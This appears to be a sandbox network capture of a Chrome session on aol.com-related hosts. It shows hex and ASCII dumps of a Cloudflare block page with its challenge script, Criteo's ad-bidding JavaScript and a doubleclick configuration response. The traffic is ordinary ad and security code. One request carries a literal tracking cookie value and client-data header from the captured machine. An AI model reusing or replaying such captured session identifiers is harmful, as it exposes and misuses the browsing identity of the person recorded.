66 20 Data Ascii: 15fe<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-05-23 22:35:10 UTC	1369	IN	Data Raw: 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 27 29 3b 0a 20 20 20 20 20 20 63 6f 6f 6b 69 65 45 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0a 20 20 20 20 7d 29 0a 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 63 66 2d 77 72 61 Data Ascii: r.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) }</script>...<![endif]--></head><body> <div id="cf-wra
2024-05-23 22:35:10 UTC	1369	IN	Data Raw: 20 6f 6e 6c 69 6e 65 20 61 74 74 61 63 6b 73 2e 20 54 68 65 20 61 63 74 69 6f 6e 20 79 6f 75 20 6a 75 73 74 20 70 65 72 66 6f 72 6d 65 64 20 74 72 69 67 67 65 72 65 64 20 74 68 65 20 73 65 63 75 72 69 74 79 20 73 6f 6c 75 74 69 6f 6e 2e 20 54 68 65 72 65 20 61 72 65 20 73 65 76 65 72 61 6c 20 61 63 74 69 6f 6e 73 20 74 68 61 74 20 63 6f 75 6c 64 20 74 72 69 67 67 65 72 20 74 68 69 73 20 62 6c 6f 63 6b 20 69 6e 63 6c 75 64 69 6e 67 20 73 75 62 6d 69 74 74 69 6e 67 20 61 20 63 65 72 74 61 69 6e 20 77 6f 72 64 20 6f 72 20 70 68 72 61 73 65 2c 20 61 20 53 51 4c 20 63 6f 6d 6d 61 6e 64 20 6f 72 20 6d 61 6c 66 6f 72 6d 65 64 20 64 61 74 61 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.</p> </div> <div cl
2024-05-23 22:35:10 UTC	1369	IN	Data Raw: 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 Data Ascii: den">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></sp
2024-05-23 22:35:10 UTC	593	IN	Data Raw: 29 3b 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 72 28 29 20 7b 76 61 72 20 5f 30 78 69 20 3d 20 5f 30 78 68 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 20 7c 7c 20 5f 30 78 68 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 20 28 5f 30 78 69 29 20 7b 76 61 72 20 5f 30 78 6a 20 3d 20 5f 30 78 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 5f 30 78 6a 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 6a 73 3b 5f 30 78 69 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 5f 30 78 6a 29 3b 7d 7d 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 21 3d 3d 20 27 6c 6f 61 64 69 6e 67 27 29 20 7b 68 61 Data Ascii: );function handler() {var _0xi = _0xh.contentDocument \|\| _0xh.contentWindow.document;if (_0xi) {var _0xj = _0xi.createElement('script');_0xj.innerHTML = js;_0xi.getElementsByTagName('head')[0].appendChild(_0xj);}}if (document.readyState !== 'loading') {ha
2024-05-23 22:35:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.6	50363	178.250.1.3	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	373	OUT	GET /js/ld/publishertag.prebid.144.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	484	IN	HTTP/1.1 200 OK server: nginx date: Thu, 23 May 2024 22:35:10 GMT content-type: text/javascript content-length: 98590 last-modified: Fri, 27 Oct 2023 06:43:26 GMT etag: "653b5c0e-1811e" expires: Fri, 24 May 2024 22:35:10 GMT cache-control: max-age=86400 cross-origin-resource-policy: cross-origin cache-control: public timing-allow-origin: * access-control-allow-origin: * accept-ranges: bytes strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:10 UTC	15900	IN	Data Raw: 2f 2f 20 48 61 73 68 3a 20 69 6f 78 78 64 6a 48 44 7a 46 42 74 35 30 6a 73 4b 48 63 55 4c 6f 45 6a 66 50 6a 6e 37 46 75 70 48 55 4f 62 55 58 54 45 75 6c 48 31 69 49 6d 63 61 54 31 4f 59 59 71 34 6e 58 65 64 76 2b 76 36 79 73 74 4c 2f 6d 63 69 77 34 33 65 4e 32 4e 31 73 42 71 75 6b 45 63 42 31 47 33 79 4c 61 6f 7a 77 41 51 6f 5a 61 72 49 76 70 65 2b 6f 70 32 49 38 64 44 57 43 72 6e 6d 51 4c 35 61 41 33 54 52 46 41 32 68 49 47 4d 45 73 47 44 50 64 6c 6a 49 66 5a 6c 78 50 4b 42 35 54 74 38 72 5a 4d 6b 77 64 38 54 2b 37 55 45 4a 4f 44 6b 3d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 Data Ascii: // Hash: ioxxdjHDzFBt50jsKHcULoEjfPjn7FupHUObUXTEulH1iImcaT1OYYq4nXedv+v6ystL/mciw43eN2N1sBqukEcB1G3yLaozwAQoZarIvpe+op2I8dDWCrnmQL5aA3TRFA2hIGMEsGDPdljIfZlxPKB5Tt8rZMkwd8T+7UEJODk=!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototyp
2024-05-23 22:35:10 UTC	16319	IN	Data Raw: 49 54 45 4f 5f 43 53 4d 5f 43 4f 55 4e 54 45 52 53 5f 48 41 4e 44 4c 45 52 3d 22 63 73 6d 2f 63 6f 75 6e 74 65 72 73 22 2c 62 65 2e 43 52 49 54 45 4f 5f 45 52 52 4f 52 5f 48 41 4e 44 4c 45 52 3d 22 65 72 72 6f 72 22 2c 62 65 2e 43 52 49 54 45 4f 5f 42 49 44 44 45 52 5f 41 55 44 49 54 5f 48 41 4e 44 4c 45 52 3d 22 70 72 65 62 69 64 2f 61 75 64 69 74 22 2c 62 65 29 3b 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 74 68 69 73 2e 61 75 64 69 74 4d 6f 64 65 3d 65 7d 76 61 72 20 77 65 3d 28 43 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 45 76 65 6e 74 73 54 6f 42 65 61 63 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 26 26 65 26 26 6e 61 Data Ascii: ITEO_CSM_COUNTERS_HANDLER="csm/counters",be.CRITEO_ERROR_HANDLER="error",be.CRITEO_BIDDER_AUDIT_HANDLER="prebid/audit",be);function be(e){void 0===e&&(e=!1),this.auditMode=e}var we=(Ce.prototype.sendEventsToBeacon=function(e,t){navigator.sendBeacon&&e&&na
2024-05-23 22:35:10 UTC	16384	IN	Data Raw: 3d 3d 69 26 26 28 69 3d 21 31 29 2c 74 68 69 73 2e 70 69 78 65 6c 53 79 6e 63 45 6e 64 70 6f 69 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 73 70 2d 73 79 6e 63 2e 63 72 69 74 65 6f 2e 63 6f 6d 2f 75 73 65 72 2d 73 79 6e 63 2f 70 69 78 65 6c 73 22 2c 74 68 69 73 2e 70 69 78 65 6c 53 79 6e 63 54 69 6d 65 6f 75 74 3d 32 65 33 2c 74 68 69 73 2e 65 72 72 6f 72 52 65 70 6f 72 74 65 72 3d 74 2c 74 68 69 73 2e 6f 6e 50 69 78 65 6c 73 52 65 74 72 69 65 76 65 64 3d 65 2c 74 68 69 73 2e 64 65 62 75 67 3d 69 7d 76 61 72 20 65 74 3d 28 74 74 2e 65 78 65 63 55 73 65 72 53 79 6e 63 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 21 31 29 2c 6e 65 77 20 24 65 28 74 74 2e 61 70 70 65 6e 64 55 73 65 72 53 79 6e 63 50 69 78 Data Ascii: ==i&&(i=!1),this.pixelSyncEndpoint="https://ssp-sync.criteo.com/user-sync/pixels",this.pixelSyncTimeout=2e3,this.errorReporter=t,this.onPixelsRetrieved=e,this.debug=i}var et=(tt.execUserSync=function(e,t,i,n){void 0===n&&(n=!1),new $e(tt.appendUserSyncPix
2024-05-23 22:35:10 UTC	16123	IN	Data Raw: 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 31 30 29 2c 72 3d 7b 5f 5f 75 73 70 61 70 69 43 61 6c 6c 3a 7b 63 6f 6d 6d 61 6e 64 3a 65 2c 70 61 72 61 6d 65 74 65 72 3a 74 2c 63 61 6c 6c 49 64 3a 6e 7d 7d 3b 6f 2e 75 73 70 61 70 69 43 61 6c 6c 62 61 63 6b 73 5b 6e 5d 3d 69 2c 73 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 72 2c 22 2a 22 29 7d 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 57 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 61 74 61 3f 76 74 28 65 2e 64 61 74 61 29 3a 65 2e 64 61 74 61 3b 69 66 28 74 26 26 74 2e 5f 5f 75 73 70 61 70 69 52 65 74 75 72 6e 26 26 74 2e 5f 5f 75 73 70 61 70 69 52 65 Data Ascii: om().toString(10),r={__uspapiCall:{command:e,parameter:t,callId:n}};o.uspapiCallbacks[n]=i,s.postMessage(r,"*")},this.currentWindow.addEventListener("message",function(e){var t="string"==typeof e.data?vt(e.data):e.data;if(t&&t.__uspapiReturn&&t.__uspapiRe
2024-05-23 22:35:10 UTC	16384	IN	Data Raw: 72 65 71 75 65 73 74 52 65 63 65 69 76 65 64 28 29 3b 76 61 72 20 74 3d 75 65 28 65 29 7c 7c 7b 7d 2c 69 3d 78 65 28 74 29 3b 76 6f 69 64 20 30 21 3d 3d 73 2e 63 61 6c 6c 62 61 63 6b 53 75 63 63 65 73 73 26 26 73 2e 63 61 6c 6c 62 61 63 6b 53 75 63 63 65 73 73 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2c 69 29 2c 64 2e 66 69 6e 69 73 68 28 29 2c 21 30 3d 3d 3d 74 2e 75 73 65 72 5f 73 79 6e 63 26 26 65 74 2e 65 78 65 63 55 73 65 72 53 79 6e 63 28 6e 2e 63 6f 6e 74 65 78 74 2e 72 65 6d 6f 74 65 4c 6f 67 67 69 6e 67 2c 6f 2c 74 29 2c 72 2e 67 65 74 4d 65 74 72 69 63 73 4d 61 6e 61 67 65 72 28 29 2e 73 65 6e 64 45 76 65 6e 74 73 28 72 2c 61 2c 21 30 29 7d 63 61 74 63 68 28 65 29 7b 73 2e 72 65 70 6f 72 74 41 73 79 6e 63 52 65 71 75 65 73 74 45 78 Data Ascii: requestReceived();var t=ue(e)\|\|{},i=xe(t);void 0!==s.callbackSuccess&&s.callbackSuccess(JSON.stringify(t),i),d.finish(),!0===t.user_sync&&et.execUserSync(n.context.remoteLogging,o,t),r.getMetricsManager().sendEvents(r,a,!0)}catch(e){s.reportAsyncRequestEx
2024-05-23 22:35:10 UTC	16384	IN	Data Raw: 6c 57 65 62 49 64 28 29 2e 66 72 6f 6d 41 6c 6c 53 74 6f 72 61 67 65 73 28 29 7d 2c 41 69 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 4f 70 74 4f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 73 65 72 44 61 74 61 48 61 6e 64 6c 65 72 73 2e 6f 70 74 4f 75 74 28 29 2e 66 72 6f 6d 41 6c 6c 53 74 6f 72 61 67 65 73 28 29 7d 2c 41 69 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 42 75 6e 64 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 73 65 72 44 61 74 61 48 61 6e 64 6c 65 72 73 2e 62 75 6e 64 6c 65 28 29 2e 66 72 6f 6d 41 6c 6c 53 74 6f 72 61 67 65 73 28 29 7d 2c 41 69 29 3b 66 75 6e 63 74 69 6f 6e 20 41 69 28 65 29 7b 74 68 69 73 2e 75 73 65 72 44 61 74 61 48 61 6e 64 6c 65 72 73 3d 65 7d 76 61 Data Ascii: lWebId().fromAllStorages()},Ai.prototype.getOptOut=function(){return this.userDataHandlers.optOut().fromAllStorages()},Ai.prototype.getBundle=function(){return this.userDataHandlers.bundle().fromAllStorages()},Ai);function Ai(e){this.userDataHandlers=e}va
2024-05-23 22:35:10 UTC	960	IN	Data Raw: 6f 3d 65 6e 28 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 7c 7c 7b 7d 2c 65 29 2c 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 5f 70 72 65 62 69 64 5f 31 34 34 3d 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 2c 24 2e 44 65 62 75 67 28 22 50 75 62 6c 69 73 68 65 72 20 54 61 67 20 69 6e 69 74 69 61 6c 69 7a 65 64 20 77 69 74 68 20 77 69 6e 64 6f 77 2e 63 72 69 74 65 6f 5f 70 75 62 74 61 67 7c 63 72 69 74 65 6f 5f 70 75 62 74 61 67 5f 70 72 65 62 69 64 5f 31 34 34 2c 20 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 7c 43 72 69 74 65 6f 5f 70 72 65 62 69 64 5f 31 34 34 22 29 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 65 2c 74 29 7b 69 66 28 74 6e 28 65 29 26 26 74 6e 28 74 29 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 69 66 28 74 6e 28 74 5b 69 5d 29 29 7b 69 66 28 21 74 6e 28 65 Data Ascii: o=en(window.Criteo\|\|{},e),window.Criteo_prebid_144=window.Criteo,$.Debug("Publisher Tag initialized with window.criteo_pubtag\|criteo_pubtag_prebid_144, window.Criteo\|Criteo_prebid_144")}function en(e,t){if(tn(e)&&tn(t))for(var i in t)if(tn(t[i])){if(!tn(e
2024-05-23 22:35:10 UTC	136	IN	Data Raw: 6e 74 73 29 29 2c 77 69 6e 64 6f 77 2e 63 72 69 74 65 6f 5f 70 75 62 74 61 67 2e 63 6f 6e 74 65 78 74 2e 73 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 2e 67 65 74 53 65 72 76 69 63 65 73 41 73 79 6e 63 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 47 74 28 65 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 48 65 6c 70 65 72 29 7d 29 7d 6e 6e 28 29 2c 65 2e 44 65 63 6c 61 72 65 50 72 65 62 69 64 3d 6e 6e 7d 28 7b 7d 29 3b Data Ascii: nts)),window.criteo_pubtag.context.serviceProvider.getServicesAsync(function(e){Gt(e.localStorageHelper)})}nn(),e.DeclarePrebid=nn}({});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.6	50357	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	568	OUT	GET /pagead/ima_ppub_config?ippd=https%3A%2F%2Fwww.aol.com%2F HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:10 UTC	694	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Date: Thu, 23 May 2024 22:35:10 GMT Expires: Thu, 23 May 2024 22:35:10 GMT Cache-Control: private, max-age=3600, stale-while-revalidate=3600 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 21107 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:10 UTC	696	IN	Data Raw: 5b 6e 75 6c 6c 2c 5b 5b 5b 22 31 30 33 35 31 32 36 39 38 22 5d 2c 5b 22 31 30 38 33 34 37 31 30 35 22 5d 2c 5b 22 31 32 31 31 32 34 35 39 34 22 5d 2c 5b 22 32 31 37 38 33 33 34 37 33 30 39 22 5d 2c 5b 22 32 32 30 36 30 30 36 39 35 31 34 22 5d 2c 5b 22 32 32 38 38 38 31 35 32 32 37 39 22 5d 2c 5b 22 32 34 37 34 36 37 37 39 22 5d 2c 5b 22 36 31 37 36 33 38 30 36 22 5d 2c 5b 22 31 30 30 30 39 30 38 22 5d 2c 5b 22 31 30 30 30 39 32 32 22 5d 2c 5b 22 31 30 30 31 30 34 39 22 5d 2c 5b 22 31 30 30 31 32 31 39 22 5d 2c 5b 22 31 30 30 31 32 38 30 32 30 22 5d 2c 5b 22 31 30 30 31 35 33 35 22 5d 2c 5b 22 31 30 30 31 37 33 33 22 5d 2c 5b 22 31 30 30 32 33 30 34 22 5d 2c 5b 22 31 30 30 32 34 35 33 22 5d 2c 5b 22 31 30 30 32 36 30 31 22 5d 2c 5b 22 31 30 30 32 36 30 35 Data Ascii: [null,[[["103512698"],["108347105"],["121124594"],["21783347309"],["22060069514"],["22888152279"],["24746779"],["61763806"],["1000908"],["1000922"],["1001049"],["1001219"],["100128020"],["1001535"],["1001733"],["1002304"],["1002453"],["1002601"],["1002605
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 31 35 33 39 31 22 5d 2c 5b 22 31 30 31 35 36 38 31 22 5d 2c 5b 22 31 30 31 35 39 36 39 22 5d 2c 5b 22 31 30 31 35 39 37 30 22 5d 2c 5b 22 31 30 31 36 31 36 32 22 5d 2c 5b 22 31 30 31 36 37 36 30 22 5d 2c 5b 22 31 30 31 36 38 35 34 22 5d 2c 5b 22 31 30 31 37 30 34 33 22 5d 2c 5b 22 31 30 31 39 30 33 30 22 5d 2c 5b 22 31 30 31 39 34 30 34 22 5d 2c 5b 22 31 30 31 39 35 34 33 22 5d 2c 5b 22 31 30 31 39 37 30 32 22 5d 2c 5b 22 31 30 32 30 32 31 30 22 5d 2c 5b 22 31 30 32 30 36 32 30 22 5d 2c 5b 22 31 30 32 31 39 30 39 22 5d 2c 5b 22 31 30 32 31 39 34 36 22 5d 2c 5b 22 31 30 32 32 35 30 35 22 5d 2c 5b 22 31 30 32 32 38 39 30 22 5d 2c 5b 22 31 30 32 33 34 32 32 22 5d 2c 5b 22 31 30 32 33 37 38 36 39 22 5d 2c 5b 22 31 30 32 34 31 37 38 22 5d 2c 5b 22 31 30 32 34 Data Ascii: 15391"],["1015681"],["1015969"],["1015970"],["1016162"],["1016760"],["1016854"],["1017043"],["1019030"],["1019404"],["1019543"],["1019702"],["1020210"],["1020620"],["1021909"],["1021946"],["1022505"],["1022890"],["1023422"],["10237869"],["1024178"],["1024
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 22 31 30 39 32 32 37 32 22 5d 2c 5b 22 31 30 39 32 36 32 35 22 5d 2c 5b 22 31 30 39 33 34 33 31 22 5d 2c 5b 22 31 30 39 33 36 34 37 22 5d 2c 5b 22 31 30 39 33 36 38 32 34 33 22 5d 2c 5b 22 31 30 39 34 31 39 33 22 5d 2c 5b 22 31 30 39 36 31 35 31 22 5d 2c 5b 22 31 30 39 36 36 30 31 22 5d 2c 5b 22 31 31 30 30 38 34 37 22 5d 2c 5b 22 31 31 30 31 36 32 35 22 5d 2c 5b 22 31 31 30 32 31 38 39 22 5d 2c 5b 22 31 31 30 32 37 33 30 22 5d 2c 5b 22 31 31 30 34 33 35 37 22 5d 2c 5b 22 31 31 30 35 30 37 39 22 5d 2c 5b 22 31 31 30 36 36 35 37 30 22 5d 2c 5b 22 31 31 31 32 36 32 39 36 22 5d 2c 5b 22 31 31 31 32 38 36 32 22 5d 2c 5b 22 31 31 31 37 30 39 34 35 22 5d 2c 5b 22 31 31 31 37 31 34 30 22 5d 2c 5b 22 31 31 32 31 31 39 38 30 22 5d 2c 5b 22 31 31 32 39 37 36 30 31 Data Ascii: "1092272"],["1092625"],["1093431"],["1093647"],["109368243"],["1094193"],["1096151"],["1096601"],["1100847"],["1101625"],["1102189"],["1102730"],["1104357"],["1105079"],["11066570"],["11126296"],["1112862"],["11170945"],["1117140"],["11211980"],["11297601
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 33 36 33 37 22 5d 2c 5b 22 31 38 30 30 37 33 33 36 22 5d 2c 5b 22 31 38 30 31 38 36 37 39 22 5d 2c 5b 22 31 38 30 39 30 39 39 35 22 5d 2c 5b 22 31 38 32 32 30 33 33 33 32 22 5d 2c 5b 22 31 38 32 32 32 36 34 22 5d 2c 5b 22 31 38 32 34 33 30 33 36 22 5d 2c 5b 22 31 38 32 35 34 37 39 36 22 5d 2c 5b 22 31 38 32 39 30 35 33 39 22 5d 2c 5b 22 31 38 34 38 39 39 34 35 22 5d 2c 5b 22 31 38 36 38 33 35 32 22 5d 2c 5b 22 31 38 37 32 38 31 37 31 31 22 5d 2c 5b 22 31 38 37 34 32 38 34 22 5d 2c 5b 22 31 38 38 39 30 38 31 33 22 5d 2c 5b 22 31 38 39 38 33 35 32 38 22 5d 2c 5b 22 31 39 30 32 35 30 34 32 22 5d 2c 5b 22 31 39 30 38 35 30 35 34 36 22 5d 2c 5b 22 31 39 31 34 31 39 35 31 22 5d 2c 5b 22 31 39 32 37 31 32 32 32 22 5d 2c 5b 22 31 39 32 39 30 36 32 37 22 5d 2c 5b Data Ascii: 3637"],["18007336"],["18018679"],["18090995"],["182203332"],["1822264"],["18243036"],["18254796"],["18290539"],["18489945"],["1868352"],["187281711"],["1874284"],["18890813"],["18983528"],["19025042"],["190850546"],["19141951"],["19271222"],["19290627"],[
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 32 36 30 38 36 31 38 39 22 5d 2c 5b 22 32 36 31 34 35 38 34 22 5d 2c 5b 22 32 36 33 30 30 33 32 30 22 5d 2c 5b 22 32 37 30 32 31 32 37 34 22 5d 2c 5b 22 32 37 30 37 36 37 32 31 22 5d 2c 5b 22 32 37 31 34 34 34 36 22 5d 2c 5b 22 32 37 31 39 31 39 32 22 5d 2c 5b 22 32 37 32 30 32 37 39 34 22 5d 2c 5b 22 32 37 32 31 33 31 35 33 22 5d 2c 5b 22 32 37 35 31 39 32 37 31 22 5d 2c 5b 22 32 37 35 32 34 33 35 38 22 5d 2c 5b 22 32 37 35 36 35 37 31 31 22 5d 2c 5b 22 32 37 35 39 31 31 35 22 5d 2c 5b 22 32 37 39 32 30 31 34 22 5d 2c 5b 22 32 38 32 35 31 34 36 38 33 22 5d 2c 5b 22 32 38 36 34 37 36 34 22 5d 2c 5b 22 32 38 38 39 38 34 36 22 5d 2c 5b 22 32 39 32 37 34 35 34 31 22 5d 2c 5b 22 32 39 35 36 32 39 30 33 22 5d 2c 5b 22 32 39 35 39 38 31 38 22 5d 2c 5b 22 32 39 Data Ascii: 26086189"],["2614584"],["26300320"],["27021274"],["27076721"],["2714446"],["2719192"],["27202794"],["27213153"],["27519271"],["27524358"],["27565711"],["2759115"],["2792014"],["282514683"],["2864764"],["2889846"],["29274541"],["29562903"],["2959818"],["29
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 34 22 5d 2c 5b 22 34 35 37 35 32 35 30 22 5d 2c 5b 22 34 35 38 38 35 38 34 22 5d 2c 5b 22 34 36 32 38 31 38 36 35 22 5d 2c 5b 22 34 36 34 36 31 32 38 22 5d 2c 5b 22 34 36 37 33 35 34 39 34 22 5d 2c 5b 22 34 36 39 37 34 33 31 36 22 5d 2c 5b 22 34 37 33 31 36 38 30 22 5d 2c 5b 22 34 37 35 38 39 38 38 22 5d 2c 5b 22 34 37 38 34 39 37 31 22 5d 5d 5d 2c 5b 5b 5b 22 31 30 30 30 39 30 38 22 2c 31 5d 2c 5b 22 31 30 30 30 39 32 32 22 2c 31 5d 2c 5b 22 31 30 30 31 30 34 39 22 2c 31 5d 2c 5b 22 31 30 30 31 32 31 39 22 2c 31 5d 2c 5b 22 31 30 30 31 32 38 30 32 30 22 2c 31 5d 2c 5b 22 31 30 30 31 35 33 35 22 2c 31 5d 2c 5b 22 31 30 30 31 37 33 33 22 2c 31 5d 2c 5b 22 31 30 30 32 33 30 34 22 2c 31 5d 2c 5b 22 31 30 30 32 34 35 33 22 2c 31 5d 2c 5b 22 31 30 30 32 36 30 Data Ascii: 4"],["4575250"],["4588584"],["46281865"],["4646128"],["46735494"],["46974316"],["4731680"],["4758988"],["4784971"]]],[[["1000908",1],["1000922",1],["1001049",1],["1001219",1],["100128020",1],["1001535",1],["1001733",1],["1002304",1],["1002453",1],["100260
